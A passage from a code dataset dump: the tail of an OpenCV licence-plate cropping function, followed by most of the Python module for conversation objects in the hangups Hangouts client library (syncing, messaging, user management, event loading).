fltCorrectionAngleInRad * (180.0 / math.pi)\n\n possiblePlate.rrLocationOfPlateInScene = (tuple(ptPlateCenter), (intPlateWidth, intPlateHeight), fltCorrectionAngleInDeg)\n\n rotationMatrix = cv2.getRotationMatrix2D(tuple(ptPlateCenter), fltCorrectionAngleInDeg, 1.0)\n\n height, width, numChannels = imgOriginal.shape\n\n imgRotated = cv2.warpAffine(imgOriginal, rotationMatrix, (width, height))\n\n imgCropped = cv2.getRectSubPix(imgRotated, (intPlateWidth, intPlateHeight), tuple(ptPlateCenter))\n\n possiblePlate.imgPlate = imgCropped\n\n return possiblePlate","repo_name":"qwertyinsomnia/License-Plate-Location-and-Recognition","sub_path":"DetectPlates.py","file_name":"DetectPlates.py","file_ext":"py","file_size_in_byte":4231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13089484100","text":"\"\"\"Conversation objects.\"\"\"\n\nimport asyncio\nimport datetime\nimport logging\n\nfrom hangups import (parsers, event, user, conversation_event, exceptions,\n hangouts_pb2)\n\nlogger = logging.getLogger(__name__)\n\nCONVERSATIONS_PER_REQUEST = 100\nMAX_CONVERSATION_PAGES = 100\n\n\nasync def build_user_conversation_list(client):\n \"\"\"Build :class:`.UserList` and :class:`.ConversationList`.\n\n This method requests data necessary to build the list of conversations and\n users. Users that are not in the contact list but are participating in a\n conversation will also be retrieved.\n\n Args:\n client (Client): Connected client.\n\n Returns:\n (:class:`.UserList`, :class:`.ConversationList`):\n Tuple of built objects.\n \"\"\"\n conv_states, sync_timestamp = await _sync_all_conversations(client)\n\n # Retrieve entities participating in all conversations.\n required_user_ids = set()\n for conv_state in conv_states:\n required_user_ids |= {\n user.UserID(chat_id=part.id.chat_id, gaia_id=part.id.gaia_id)\n for part in conv_state.conversation.participant_data\n }\n required_entities = []\n if required_user_ids:\n logger.debug('Need to request additional users: {}'\n .format(required_user_ids))\n try:\n response = await client.get_entity_by_id(\n hangouts_pb2.GetEntityByIdRequest(\n request_header=client.get_request_header(),\n batch_lookup_spec=[\n hangouts_pb2.EntityLookupSpec(\n gaia_id=user_id.gaia_id,\n create_offnetwork_gaia=True,\n )\n for user_id in required_user_ids\n ],\n )\n )\n for entity_result in response.entity_result:\n required_entities.extend(entity_result.entity)\n except exceptions.NetworkError as e:\n logger.warning('Failed to request missing users: {}'.format(e))\n\n # Build list of conversation participants.\n conv_part_list = []\n for conv_state in conv_states:\n conv_part_list.extend(conv_state.conversation.participant_data)\n\n # Retrieve self entity.\n get_self_info_response = await client.get_self_info(\n hangouts_pb2.GetSelfInfoRequest(\n request_header=client.get_request_header(),\n )\n )\n self_entity = get_self_info_response.self_entity\n\n user_list = user.UserList(client, self_entity, required_entities,\n conv_part_list)\n conversation_list = ConversationList(client, conv_states,\n user_list, sync_timestamp)\n return (user_list, conversation_list)\n\n\nasync def _sync_all_conversations(client):\n \"\"\"Sync all conversations by making paginated requests.\n\n Conversations are ordered by ascending sort timestamp.\n\n Args:\n client (Client): Connected client.\n\n Raises:\n NetworkError: If the requests fail.\n\n Returns:\n tuple of list of ``ConversationState`` messages and sync timestamp\n \"\"\"\n conv_states = []\n sync_timestamp = None\n request = hangouts_pb2.SyncRecentConversationsRequest(\n request_header=client.get_request_header(),\n max_conversations=CONVERSATIONS_PER_REQUEST,\n max_events_per_conversation=1,\n sync_filter=[\n hangouts_pb2.SYNC_FILTER_INBOX,\n hangouts_pb2.SYNC_FILTER_ARCHIVED,\n ]\n )\n for _ in range(MAX_CONVERSATION_PAGES):\n logger.info(\n 'Requesting conversations page %s', request.last_event_timestamp\n )\n response = await client.sync_recent_conversations(request)\n conv_states = list(response.conversation_state) + conv_states\n sync_timestamp = parsers.from_timestamp(\n # SyncRecentConversations seems to return a sync_timestamp 4\n # minutes before the present. To prevent SyncAllNewEvents later\n # breaking requesting events older than what we already have, use\n # current_server_time instead.\n response.response_header.current_server_time\n )\n if response.continuation_end_timestamp == 0:\n logger.info('Reached final conversations page')\n break\n else:\n request.last_event_timestamp = response.continuation_end_timestamp\n else:\n logger.warning('Exceeded maximum number of conversation pages')\n logger.info('Synced %s total conversations', len(conv_states))\n return conv_states, sync_timestamp\n\n\nclass Conversation:\n \"\"\"A single chat conversation.\n\n Use :class:`.ConversationList` methods to get instances of this class.\n \"\"\"\n\n def __init__(self, client, user_list, conversation, events=[],\n event_cont_token=None):\n # pylint: disable=dangerous-default-value\n self._client = client # Client\n self._user_list = user_list # UserList\n self._conversation = conversation # hangouts_pb2.Conversation\n self._events = [] # [hangouts_pb2.Event]\n self._events_dict = {} # {event_id: ConversationEvent}\n self._send_message_lock = asyncio.Lock()\n self._watermarks = {} # {UserID: datetime.datetime}\n self._event_cont_token = event_cont_token\n for event_ in events:\n # Workaround to ignore observed events returned from\n # syncrecentconversations.\n if event_.event_type != hangouts_pb2.EVENT_TYPE_OBSERVED_EVENT:\n self.add_event(event_)\n\n self.on_event = event.Event('Conversation.on_event')\n \"\"\"\n :class:`.Event` fired when an event occurs in this conversation.\n\n Args:\n conv_event: :class:`.ConversationEvent` that occurred.\n \"\"\"\n\n self.on_typing = event.Event('Conversation.on_typing')\n \"\"\"\n :class:`.Event` fired when a users starts or stops typing in this\n conversation.\n\n Args:\n typing_message: :class:`~hangups.parsers.TypingStatusMessage` that\n occurred.\n \"\"\"\n\n self.on_watermark_notification = event.Event(\n 'Conversation.on_watermark_notification'\n )\n \"\"\"\n :class:`.Event` fired when a watermark (read timestamp) is updated for\n this conversation.\n\n Args:\n watermark_notification:\n :class:`~hangups.parsers.WatermarkNotification` that occurred.\n \"\"\"\n\n self.on_watermark_notification.add_observer(\n self._on_watermark_notification\n )\n\n @property\n def id_(self):\n \"\"\"The conversation's ID (:class:`str`).\"\"\"\n return self._conversation.conversation_id.id\n\n @property\n def users(self):\n \"\"\"List of conversation participants (:class:`~hangups.user.User`).\"\"\"\n return [self._user_list.get_user(user.UserID(chat_id=part.id.chat_id,\n gaia_id=part.id.gaia_id))\n for part in self._conversation.participant_data]\n\n @property\n def name(self):\n \"\"\"The conversation's custom name (:class:`str`)\n\n May be ``None`` if conversation has no custom name.\n \"\"\"\n custom_name = self._conversation.name\n return None if custom_name == '' else custom_name\n\n @property\n def last_modified(self):\n \"\"\"When conversation was last modified (:class:`datetime.datetime`).\"\"\"\n timestamp = self._conversation.self_conversation_state.sort_timestamp\n # timestamp can be None for some reason when there is an ongoing video\n # hangout\n if timestamp is None:\n timestamp = 0\n return parsers.from_timestamp(timestamp)\n\n @property\n def latest_read_timestamp(self):\n \"\"\"Timestamp of latest read event (:class:`datetime.datetime`).\"\"\"\n timestamp = (self._conversation.self_conversation_state.\n self_read_state.latest_read_timestamp)\n return parsers.from_timestamp(timestamp)\n\n @property\n def events(self):\n \"\"\"Loaded events sorted oldest to newest.\n\n (list of :class:`.ConversationEvent`).\n \"\"\"\n return list(self._events)\n\n @property\n def watermarks(self):\n \"\"\"Participant watermarks.\n\n (dict of :class:`.UserID`, :class:`datetime.datetime`).\n \"\"\"\n return self._watermarks.copy()\n\n @property\n def unread_events(self):\n \"\"\"Loaded events which are unread sorted oldest to newest.\n\n Some Hangouts clients don't update the read timestamp for certain event\n types, such as membership changes, so this may return more unread\n events than these clients will show. There's also a delay between\n sending a message and the user's own message being considered read.\n\n (list of :class:`.ConversationEvent`).\n \"\"\"\n return [conv_event for conv_event in self._events\n if conv_event.timestamp > self.latest_read_timestamp]\n\n @property\n def is_archived(self):\n \"\"\"``True`` if this conversation has been archived.\"\"\"\n return (hangouts_pb2.CONVERSATION_VIEW_ARCHIVED in\n self._conversation.self_conversation_state.view)\n\n @property\n def is_quiet(self):\n \"\"\"``True`` if notification level for this conversation is quiet.\"\"\"\n level = self._conversation.self_conversation_state.notification_level\n return level == hangouts_pb2.NOTIFICATION_LEVEL_QUIET\n\n @property\n def is_off_the_record(self):\n \"\"\"``True`` if conversation is off the record (history is disabled).\"\"\"\n status = self._conversation.otr_status\n return status == hangouts_pb2.OFF_THE_RECORD_STATUS_OFF_THE_RECORD\n\n @property\n def is_group_link_sharing_enabled(self):\n \"\"\"``True`` if group link sharing (joining by link) is enabled.\"\"\"\n if not self._conversation.type == hangouts_pb2.CONVERSATION_TYPE_GROUP:\n return False\n status = self._conversation.group_link_sharing_status\n return status == hangouts_pb2.GROUP_LINK_SHARING_STATUS_ON\n\n def _on_watermark_notification(self, notif):\n \"\"\"Handle a watermark notification.\"\"\"\n # Update the conversation:\n if self.get_user(notif.user_id).is_self:\n logger.info('latest_read_timestamp for {} updated to {}'\n .format(self.id_, notif.read_timestamp))\n self_conversation_state = (\n self._conversation.self_conversation_state\n )\n self_conversation_state.self_read_state.latest_read_timestamp = (\n parsers.to_timestamp(notif.read_timestamp)\n )\n # Update the participants' watermarks:\n previous_timestamp = self._watermarks.get(\n notif.user_id,\n datetime.datetime.min.replace(tzinfo=datetime.timezone.utc)\n )\n if notif.read_timestamp > previous_timestamp:\n logger.info(('latest_read_timestamp for conv {} participant {}' +\n ' updated to {}').format(self.id_,\n notif.user_id.chat_id,\n notif.read_timestamp))\n self._watermarks[notif.user_id] = notif.read_timestamp\n\n def update_conversation(self, conversation):\n \"\"\"Update the internal state of the conversation.\n\n This method is used by :class:`.ConversationList` to maintain this\n instance.\n\n Args:\n conversation: ``Conversation`` message.\n \"\"\"\n # StateUpdate.conversation is actually a delta; fields that aren't\n # specified are assumed to be unchanged. Until this class is\n # refactored, hide this by saving and restoring previous values where\n # necessary.\n\n new_state = conversation.self_conversation_state\n old_state = self._conversation.self_conversation_state\n self._conversation = conversation\n\n # delivery_medium_option\n if not new_state.delivery_medium_option:\n new_state.delivery_medium_option.extend(\n old_state.delivery_medium_option\n )\n\n # latest_read_timestamp\n old_timestamp = old_state.self_read_state.latest_read_timestamp\n new_timestamp = new_state.self_read_state.latest_read_timestamp\n if new_timestamp == 0:\n new_state.self_read_state.latest_read_timestamp = old_timestamp\n\n # user_read_state(s)\n for new_entry in conversation.read_state:\n tstamp = parsers.from_timestamp(new_entry.latest_read_timestamp)\n if tstamp == 0:\n continue\n uid = parsers.from_participantid(new_entry.participant_id)\n if uid not in self._watermarks or self._watermarks[uid] < tstamp:\n self._watermarks[uid] = tstamp\n\n @staticmethod\n def _wrap_event(event_):\n \"\"\"Wrap hangouts_pb2.Event in ConversationEvent subclass.\"\"\"\n cls = conversation_event.ConversationEvent\n if event_.HasField('chat_message'):\n cls = conversation_event.ChatMessageEvent\n elif event_.HasField('otr_modification'):\n cls = conversation_event.OTREvent\n elif event_.HasField('conversation_rename'):\n cls = conversation_event.RenameEvent\n elif event_.HasField('membership_change'):\n cls = conversation_event.MembershipChangeEvent\n elif event_.HasField('hangout_event'):\n cls = conversation_event.HangoutEvent\n elif event_.HasField('group_link_sharing_modification'):\n cls = conversation_event.GroupLinkSharingModificationEvent\n return cls(event_)\n\n def add_event(self, event_):\n \"\"\"Add an event to the conversation.\n\n This method is used by :class:`.ConversationList` to maintain this\n instance.\n\n Args:\n event_: ``Event`` message.\n\n Returns:\n :class:`.ConversationEvent` representing the event.\n \"\"\"\n conv_event = self._wrap_event(event_)\n if conv_event.id_ not in self._events_dict:\n self._events.append(conv_event)\n self._events_dict[conv_event.id_] = conv_event\n else:\n # If this happens, there's probably a bug.\n logger.info('Conversation %s ignoring duplicate event %s',\n self.id_, conv_event.id_)\n return None\n return conv_event\n\n def get_user(self, user_id):\n \"\"\"Get user by its ID.\n\n Args:\n user_id (~hangups.user.UserID): ID of user to return.\n\n Raises:\n KeyError: If the user ID is not found.\n\n Returns:\n :class:`~hangups.user.User` with matching ID.\n \"\"\"\n return self._user_list.get_user(user_id)\n\n def _get_default_delivery_medium(self):\n \"\"\"Return default DeliveryMedium to use for sending messages.\n\n Use the first option, or an option that's marked as the current\n default.\n \"\"\"\n medium_options = (\n self._conversation.self_conversation_state.delivery_medium_option\n )\n try:\n default_medium = medium_options[0].delivery_medium\n except IndexError:\n logger.warning('Conversation %r has no delivery medium', self.id_)\n default_medium = hangouts_pb2.DeliveryMedium(\n medium_type=hangouts_pb2.DELIVERY_MEDIUM_BABEL\n )\n for medium_option in medium_options:\n if medium_option.current_default:\n default_medium = medium_option.delivery_medium\n return default_medium\n\n def _get_event_request_header(self):\n \"\"\"Return EventRequestHeader for conversation.\"\"\"\n otr_status = (hangouts_pb2.OFF_THE_RECORD_STATUS_OFF_THE_RECORD\n if self.is_off_the_record else\n hangouts_pb2.OFF_THE_RECORD_STATUS_ON_THE_RECORD)\n return hangouts_pb2.EventRequestHeader(\n conversation_id=hangouts_pb2.ConversationId(id=self.id_),\n client_generated_id=self._client.get_client_generated_id(),\n expected_otr=otr_status,\n delivery_medium=self._get_default_delivery_medium(),\n )\n\n async def send_message(self, segments, image_file=None, image_id=None,\n image_user_id=None):\n \"\"\"Send a message to this conversation.\n\n A per-conversation lock is acquired to ensure that messages are sent in\n the correct order when this method is called multiple times\n asynchronously.\n\n Args:\n segments: List of :class:`.ChatMessageSegment` objects to include\n in the message.\n image_file: (optional) File-like object containing an image to be\n attached to the message.\n image_id: (optional) ID of an Picasa photo to be attached to the\n message. If you specify both ``image_file`` and ``image_id``\n together, ``image_file`` takes precedence and ``image_id`` will\n be ignored.\n image_user_id: (optional) Picasa user ID, required only if\n ``image_id`` refers to an image from a different Picasa user,\n such as Google's sticker user.\n\n Raises:\n .NetworkError: If the message cannot be sent.\n\n Returns:\n :class:`.ConversationEvent` representing the new message.\n \"\"\"\n async with self._send_message_lock:\n if image_file:\n try:\n uploaded_image = await self._client.upload_image(\n image_file, return_uploaded_image=True\n )\n except exceptions.NetworkError as e:\n logger.warning('Failed to upload image: {}'.format(e))\n raise\n image_id = uploaded_image.image_id\n try:\n request = hangouts_pb2.SendChatMessageRequest(\n request_header=self._client.get_request_header(),\n event_request_header=self._get_event_request_header(),\n message_content=hangouts_pb2.MessageContent(\n segment=[seg.serialize() for seg in segments],\n ),\n )\n if image_id is not None:\n request.existing_media.photo.photo_id = image_id\n if image_user_id is not None:\n request.existing_media.photo.user_id = image_user_id\n request.existing_media.photo.is_custom_user_id = True\n response = await self._client.send_chat_message(request)\n return self._wrap_event(response.created_event)\n except exceptions.NetworkError as e:\n logger.warning('Failed to send message: {}'.format(e))\n raise\n\n @staticmethod\n def _wrap_user_id(id_):\n \"\"\"Convert a user ID into a hangouts_pb2.InviteeID object.\"\"\"\n if isinstance(id_, hangouts_pb2.InviteeID):\n return id_\n elif isinstance(id_, user.UserID):\n return hangouts_pb2.InviteeID(gaia_id=id_.gaia_id)\n else:\n return hangouts_pb2.InviteeID(gaia_id=id_)\n\n @staticmethod\n def _wrap_participant_id(id_):\n \"\"\"Convert a user ID into a hangouts_pb2.ParticipantId object.\"\"\"\n if isinstance(id_, hangouts_pb2.ParticipantId):\n return id_\n elif isinstance(id_, user.UserID):\n return hangouts_pb2.ParticipantId(gaia_id=id_.gaia_id)\n else:\n return hangouts_pb2.ParticipantId(gaia_id=id_)\n\n async def add_users(self, user_ids):\n \"\"\"Add one or more users to this conversation.\n\n Args:\n user_ids: List of IDs of the new users to be added; accepts\n :class:`.UserID`, ``InviteeID`` or just :class:`str` IDs.\n\n Raises:\n .ConversationTypeError: If conversation is not a group.\n .NetworkError: If conversation cannot be invited to.\n\n Returns:\n :class:`.ConversationEvent` representing the change.\n \"\"\"\n if not self._conversation.type == hangouts_pb2.CONVERSATION_TYPE_GROUP:\n raise exceptions.ConversationTypeError(\n 'Can only add users to group conversations'\n )\n try:\n response = await self._client.add_user(\n hangouts_pb2.AddUserRequest(\n request_header=self._client.get_request_header(),\n event_request_header=self._get_event_request_header(),\n invitee_id=[self._wrap_user_id(user_id)\n for user_id in user_ids],\n )\n )\n return self._wrap_event(response.created_event)\n except exceptions.NetworkError as e:\n logger.warning('Failed to add user: {}'.format(e))\n raise\n\n async def remove_user(self, user_id):\n \"\"\"Remove a user from this conversation.\n\n Args:\n user_id: ID of the user to be removed; accepts :class:`.UserID`,\n ``ParticipantId`` or just :class:`str` IDs.\n\n Raises:\n .ConversationTypeError: If conversation is not a group.\n .NetworkError: If conversation cannot be removed from.\n\n Returns:\n :class:`.ConversationEvent` representing the change.\n \"\"\"\n if not self._conversation.type == hangouts_pb2.CONVERSATION_TYPE_GROUP:\n raise exceptions.ConversationTypeError(\n 'Can only remove users to group conversations'\n )\n try:\n response = await self._client.remove_user(\n hangouts_pb2.RemoveUserRequest(\n request_header=self._client.get_request_header(),\n event_request_header=self._get_event_request_header(),\n participant_id=self._wrap_participant_id(user_id),\n )\n )\n return self._wrap_event(response.created_event)\n except exceptions.NetworkError as e:\n logger.warning('Failed to remove user: {}'.format(e))\n raise\n\n async def leave(self):\n \"\"\"Leave this conversation.\n\n Raises:\n .NetworkError: If conversation cannot be left.\n \"\"\"\n is_group_conversation = (self._conversation.type ==\n hangouts_pb2.CONVERSATION_TYPE_GROUP)\n try:\n if is_group_conversation:\n await self._client.remove_user(\n hangouts_pb2.RemoveUserRequest(\n request_header=self._client.get_request_header(),\n event_request_header=self._get_event_request_header(),\n )\n )\n else:\n await self._client.delete_conversation(\n hangouts_pb2.DeleteConversationRequest(\n request_header=self._client.get_request_header(),\n conversation_id=hangouts_pb2.ConversationId(\n id=self.id_\n ),\n delete_upper_bound_timestamp=parsers.to_timestamp(\n datetime.datetime.now(tz=datetime.timezone.utc)\n )\n )\n )\n except exceptions.NetworkError as e:\n logger.warning('Failed to leave conversation: {}'.format(e))\n raise\n\n async def rename(self, name):\n \"\"\"Rename this conversation.\n\n Hangouts only officially supports renaming group conversations, so\n custom names for one-to-one conversations may or may not appear in all\n first party clients.\n\n Args:\n name (str): New name.\n\n Raises:\n .NetworkError: If conversation cannot be renamed.\n \"\"\"\n await self._client.rename_conversation(\n hangouts_pb2.RenameConversationRequest(\n request_header=self._client.get_request_header(),\n new_name=name,\n event_request_header=self._get_event_request_header(),\n )\n )\n\n async def set_notification_level(self, level):\n \"\"\"Set the notification level of this conversation.\n\n Args:\n level: ``NOTIFICATION_LEVEL_QUIET`` to disable notifications, or\n ``NOTIFICATION_LEVEL_RING`` to enable them.\n\n Raises:\n .NetworkError: If the request fails.\n \"\"\"\n await self._client.set_conversation_notification_level(\n hangouts_pb2.SetConversationNotificationLevelRequest(\n request_header=self._client.get_request_header(),\n conversation_id=hangouts_pb2.ConversationId(id=self.id_),\n level=level,\n )\n )\n\n async def modify_otr_status(self, off_record):\n \"\"\"Set the OTR mode of this conversation.\n\n Args:\n off_record: ``True`` to disable history, or ``False`` to enable it.\n\n Raises:\n .NetworkError: If the request fails.\n\n Returns:\n :class:`.ConversationEvent` representing the change.\n \"\"\"\n if off_record:\n status = hangouts_pb2.OFF_THE_RECORD_STATUS_OFF_THE_RECORD\n else:\n status = hangouts_pb2.OFF_THE_RECORD_STATUS_ON_THE_RECORD\n try:\n response = await self._client.modify_otr_status(\n hangouts_pb2.ModifyOTRStatusRequest(\n request_header=self._client.get_request_header(),\n otr_status=status,\n event_request_header=self._get_event_request_header(),\n )\n )\n return self._wrap_event(response.created_event)\n except exceptions.NetworkError as e:\n logger.warning('Failed to set OTR mode: {}'.format(e))\n raise\n\n async def set_group_link_sharing_enabled(self, enabled):\n \"\"\"Set the link sharing mode of this conversation.\n\n Args:\n enabled: ``True`` to allow joining the conversation by link, or\n ``False`` to prevent it.\n\n Raises:\n .ConversationTypeError: If conversation is not a group.\n .NetworkError: If the request fails.\n\n Returns:\n :class:`.ConversationEvent` representing the change.\n \"\"\"\n if not self._conversation.type == hangouts_pb2.CONVERSATION_TYPE_GROUP:\n raise exceptions.ConversationTypeError(\n 'Can only set link sharing in group conversations'\n )\n if enabled:\n status = hangouts_pb2.GROUP_LINK_SHARING_STATUS_ON\n else:\n status = hangouts_pb2.GROUP_LINK_SHARING_STATUS_OFF\n try:\n response = await self._client.set_group_link_sharing_enabled(\n hangouts_pb2.SetGroupLinkSharingEnabledRequest(\n request_header=self._client.get_request_header(),\n group_link_sharing_status=status,\n event_request_header=self._get_event_request_header(),\n )\n )\n return self._wrap_event(response.created_event)\n except exceptions.NetworkError as e:\n logger.warning('Failed to set link sharing mode: {}'.format(e))\n raise\n\n async def set_typing(self, typing=hangouts_pb2.TYPING_TYPE_STARTED):\n \"\"\"Set your typing status in this conversation.\n\n Args:\n typing: (optional) ``TYPING_TYPE_STARTED``, ``TYPING_TYPE_PAUSED``,\n or ``TYPING_TYPE_STOPPED`` to start, pause, or stop typing,\n respectively. Defaults to ``TYPING_TYPE_STARTED``.\n\n Raises:\n .NetworkError: If typing status cannot be set.\n \"\"\"\n # TODO: Add rate-limiting to avoid unnecessary requests.\n try:\n await self._client.set_typing(\n hangouts_pb2.SetTypingRequest(\n request_header=self._client.get_request_header(),\n conversation_id=hangouts_pb2.ConversationId(id=self.id_),\n type=typing,\n )\n )\n except exceptions.NetworkError as e:\n logger.warning('Failed to set typing status: {}'.format(e))\n raise\n\n async def update_read_timestamp(self, read_timestamp=None):\n \"\"\"Update the timestamp of the latest event which has been read.\n\n This method will avoid making an API request if it will have no effect.\n\n Args:\n read_timestamp (datetime.datetime): (optional) Timestamp to set.\n Defaults to the timestamp of the newest event.\n\n Raises:\n .NetworkError: If the timestamp cannot be updated.\n \"\"\"\n if read_timestamp is None:\n read_timestamp = (self.events[-1].timestamp if self.events else\n datetime.datetime.now(datetime.timezone.utc))\n if read_timestamp > self.latest_read_timestamp:\n logger.info(\n 'Setting {} latest_read_timestamp from {} to {}'\n .format(self.id_, self.latest_read_timestamp, read_timestamp)\n )\n # Prevent duplicate requests by updating the conversation now.\n state = self._conversation.self_conversation_state\n state.self_read_state.latest_read_timestamp = (\n parsers.to_timestamp(read_timestamp)\n )\n try:\n await self._client.update_watermark(\n hangouts_pb2.UpdateWatermarkRequest(\n request_header=self._client.get_request_header(),\n conversation_id=hangouts_pb2.ConversationId(\n id=self.id_\n ),\n last_read_timestamp=parsers.to_timestamp(\n read_timestamp\n ),\n )\n )\n except exceptions.NetworkError as e:\n logger.warning('Failed to update read timestamp: {}'.format(e))\n raise\n\n async def get_events(self, event_id=None, max_events=50):\n \"\"\"Get events from this conversation.\n\n Makes a request to load historical events if necessary.\n\n Args:\n event_id (str): (optional) If provided, return events preceding\n this event, otherwise return the newest events.\n max_events (int): Maximum number of events to return. Defaults to\n 50.\n\n Returns:\n List of :class:`.ConversationEvent` instances, ordered\n oldest-first.\n\n Raises:\n KeyError: If ``event_id`` does not correspond to a known event.\n .NetworkError: If the events could not be requested.\n \"\"\"\n if event_id is None:\n # If no event_id is provided, return the newest events in this\n # conversation.\n conv_events = self._events[-1 * max_events:]\n else:\n # If event_id is provided, return the events we have that are\n # older, or request older events if event_id corresponds to the\n # oldest event we have.\n conv_event = self.get_event(event_id)\n if self._events[0].id_ != event_id:\n # Return at most max_events events preceding the event at this\n # index.\n index = self._events.index(conv_event)\n conv_events = self._events[max(index - max_events, 0):index]\n else:\n logger.info('Loading events for conversation {} before {}'\n .format(self.id_, conv_event.timestamp))\n res = await self._client.get_conversation(\n hangouts_pb2.GetConversationRequest(\n request_header=self._client.get_request_header(),\n conversation_spec=hangouts_pb2.ConversationSpec(\n conversation_id=hangouts_pb2.ConversationId(\n id=self.id_\n )\n ),\n include_event=True,\n max_events_per_conversation=max_events,\n event_continuation_token=self._event_cont_token\n )\n )\n # Certain fields of conversation_state are not populated by\n # SyncRecentConversations. This is the case with the\n # user_read_state fields which are all set to 0 but for the\n # 'self' user. Update here so these fields get populated on the\n # first call to GetConversation.\n if res.conversation_state.HasField('conversation'):\n self.update_conversation(\n res.conversation_state.conversation\n )\n self._event_cont_token = (\n res.conversation_state.event_continuation_token\n )\n conv_events = [self._wrap_event(event) for event\n in res.conversation_state.event]\n logger.info('Loaded {} events for conversation {}'\n .format(len(conv_events), self.id_))\n # Iterate though the events newest to oldest.\n for conv_event in reversed(conv_events):\n # Add event as the new oldest event, unless we already have\n # it.\n if conv_event.id_ not in self._events_dict:\n self._events.insert(0, conv_event)\n self._events_dict[conv_event.id_] = conv_event\n else:\n # If this happens, there's probably a bug.\n logger.info(\n 'Conversation %s ignoring duplicate event %s',\n self.id_, conv_event.id_\n )\n return conv_events\n\n def next_event(self, event_id, prev=False):\n \"\"\"Get the event following another event in this conversation.\n\n Args:\n event_id (str): ID of the event.\n prev (bool): If ``True``, return the previous event rather than the\n next event. Defaults to ``False``.\n\n Raises:\n KeyError: If no such :class:`.ConversationEvent` is known.\n\n Returns:\n :class:`.ConversationEvent` or ``None`` if there is no following\n event.\n \"\"\"\n i = self.events.index(self._events_dict[event_id])\n if prev and i > 0:\n return self.events[i - 1]\n elif not prev and i + 1 < len(self.events):\n return self.events[i + 1]\n else:\n return None\n\n def get_event(self, event_id):\n \"\"\"Get an event in this conversation by its ID.\n\n Args:\n event_id (str): ID of the event.\n\n Raises:\n KeyError: If no such :class:`.ConversationEvent` is known.\n\n Returns:\n :class:`.ConversationEvent` with the given ID.\n \"\"\"\n return self._events_dict[event_id]\n\n\nclass ConversationList:\n \"\"\"Maintains a list of the user's conversations.\n\n Using :func:`build_user_conversation_list` to initialize this class is\n recommended.\n\n Args:\n client: The connected :class:`Client`.\n conv_states: List of ``ConversationState`` messages used to initialize\n the list of conversations.\n user_list: :class:`.UserList` object.\n sync_timestamp (datetime.datetime): The time when ``conv_states`` was\n synced.\n \"\"\"\n\n def __init__(self, client, conv_states, user_list, sync_timestamp):\n self._client = client # Client\n self._conv_dict = {} # {conv_id: Conversation}\n self._sync_timestamp = sync_timestamp # datetime\n self._user_list = user_list # UserList\n\n # Initialize the list of conversations from Client's list of\n # hangouts_pb2.ConversationState.\n for conv_state in conv_states:\n self._add_conversation(conv_state.conversation, conv_state.event,\n conv_state.event_continuation_token)\n\n self._client.on_state_update.add_observer(self._on_state_update)\n self._client.on_connect.add_observer(self._sync)\n self._client.on_reconnect.add_observer(self._sync)\n\n self.on_event = event.Event('ConversationList.on_event')\n \"\"\"\n :class:`.Event` fired when an event occurs in any conversation.\n\n Args:\n conv_event: :class:`ConversationEvent` that occurred.\n \"\"\"\n\n self.on_typing = event.Event('ConversationList.on_typing')\n \"\"\"\n :class:`.Event` fired when a users starts or stops typing in any\n conversation.\n\n Args:\n typing_message: :class:`~hangups.parsers.TypingStatusMessage` that\n occurred.\n \"\"\"\n\n self.on_watermark_notification = event.Event(\n 'ConversationList.on_watermark_notification'\n )\n \"\"\"\n :class:`.Event` fired when a watermark (read timestamp) is updated for\n any conversation.\n\n Args:\n watermark_notification:\n :class:`~hangups.parsers.WatermarkNotification` that occurred.\n \"\"\"\n\n def get_all(self, include_archived=False):\n \"\"\"Get all the conversations.\n\n Args:\n include_archived (bool): (optional) Whether to include archived\n conversations. Defaults to ``False``.\n\n Returns:\n List of all :class:`.Conversation` objects.\n \"\"\"\n return [conv for conv in self._conv_dict.values()\n if not conv.is_archived or include_archived]\n\n def get(self, conv_id):\n \"\"\"Get a conversation by its ID.\n\n Args:\n conv_id (str): ID of conversation to return.\n\n Raises:\n KeyError: If the conversation ID is not found.\n\n Returns:\n :class:`.Conversation` with matching ID.\n \"\"\"\n return self._conv_dict[conv_id]\n\n async def leave_conversation(self, conv_id):\n \"\"\"Leave a conversation.\n\n Args:\n conv_id (str): ID of conversation to leave.\n \"\"\"\n logger.info('Leaving conversation: {}'.format(conv_id))\n await self._conv_dict[conv_id].leave()\n del self._conv_dict[conv_id]\n\n def _add_conversation(self, conversation, events=[],\n event_cont_token=None):\n \"\"\"Add new conversation from hangouts_pb2.Conversation\"\"\"\n # pylint: disable=dangerous-default-value\n conv_id = conversation.conversation_id.id\n logger.debug('Adding new conversation: {}'.format(conv_id))\n conv = Conversation(self._client, self._user_list, conversation,\n events, event_cont_token)\n self._conv_dict[conv_id] = conv\n return conv\n\n async def _on_state_update(self, state_update):\n \"\"\"Receive a StateUpdate and fan out to Conversations.\n\n Args:\n state_update: hangouts_pb2.StateUpdate instance\n \"\"\"\n # The state update will include some type of notification:\n notification_type = state_update.WhichOneof('state_update')\n\n # If conversation fields have been updated, the state update will have\n # a conversation containing changed fields. Handle updating the\n # conversation from this delta:\n if state_update.HasField('conversation'):\n try:\n await self._handle_conversation_delta(\n state_update.conversation\n )\n except exceptions.NetworkError:\n logger.warning(\n 'Discarding %s for %s: Failed to fetch conversation',\n notification_type.replace('_', ' '),\n state_update.conversation.conversation_id.id\n )\n return\n\n if notification_type == 'typing_notification':\n await self._handle_set_typing_notification(\n state_update.typing_notification\n )\n elif notification_type == 'watermark_notification':\n await self._handle_watermark_notification(\n state_update.watermark_notification\n )\n elif notification_type == 'event_notification':\n await self._on_event(\n state_update.event_notification.event\n )\n\n async def _get_or_fetch_conversation(self, conv_id):\n \"\"\"Get a cached conversation or fetch a missing conversation.\n\n Args:\n conv_id: string, conversation identifier\n\n Raises:\n NetworkError: If the request to fetch the conversation fails.\n\n Returns:\n :class:`.Conversation` with matching ID.\n \"\"\"\n conv = self._conv_dict.get(conv_id, None)\n if conv is None:\n logger.info('Fetching unknown conversation %s', conv_id)\n res = await self._client.get_conversation(\n hangouts_pb2.GetConversationRequest(\n request_header=self._client.get_request_header(),\n conversation_spec=hangouts_pb2.ConversationSpec(\n conversation_id=hangouts_pb2.ConversationId(\n id=conv_id\n )\n ), include_event=False\n )\n )\n conv_state = res.conversation_state\n event_cont_token = None\n if conv_state.HasField('event_continuation_token'):\n event_cont_token = conv_state.event_continuation_token\n return self._add_conversation(conv_state.conversation,\n event_cont_token=event_cont_token)\n else:\n return conv\n\n async def _on_event(self, event_):\n \"\"\"Receive a hangouts_pb2.Event and fan out to Conversations.\n\n Args:\n event_: hangouts_pb2.Event instance\n \"\"\"\n conv_id = event_.conversation_id.id\n try:\n conv = await 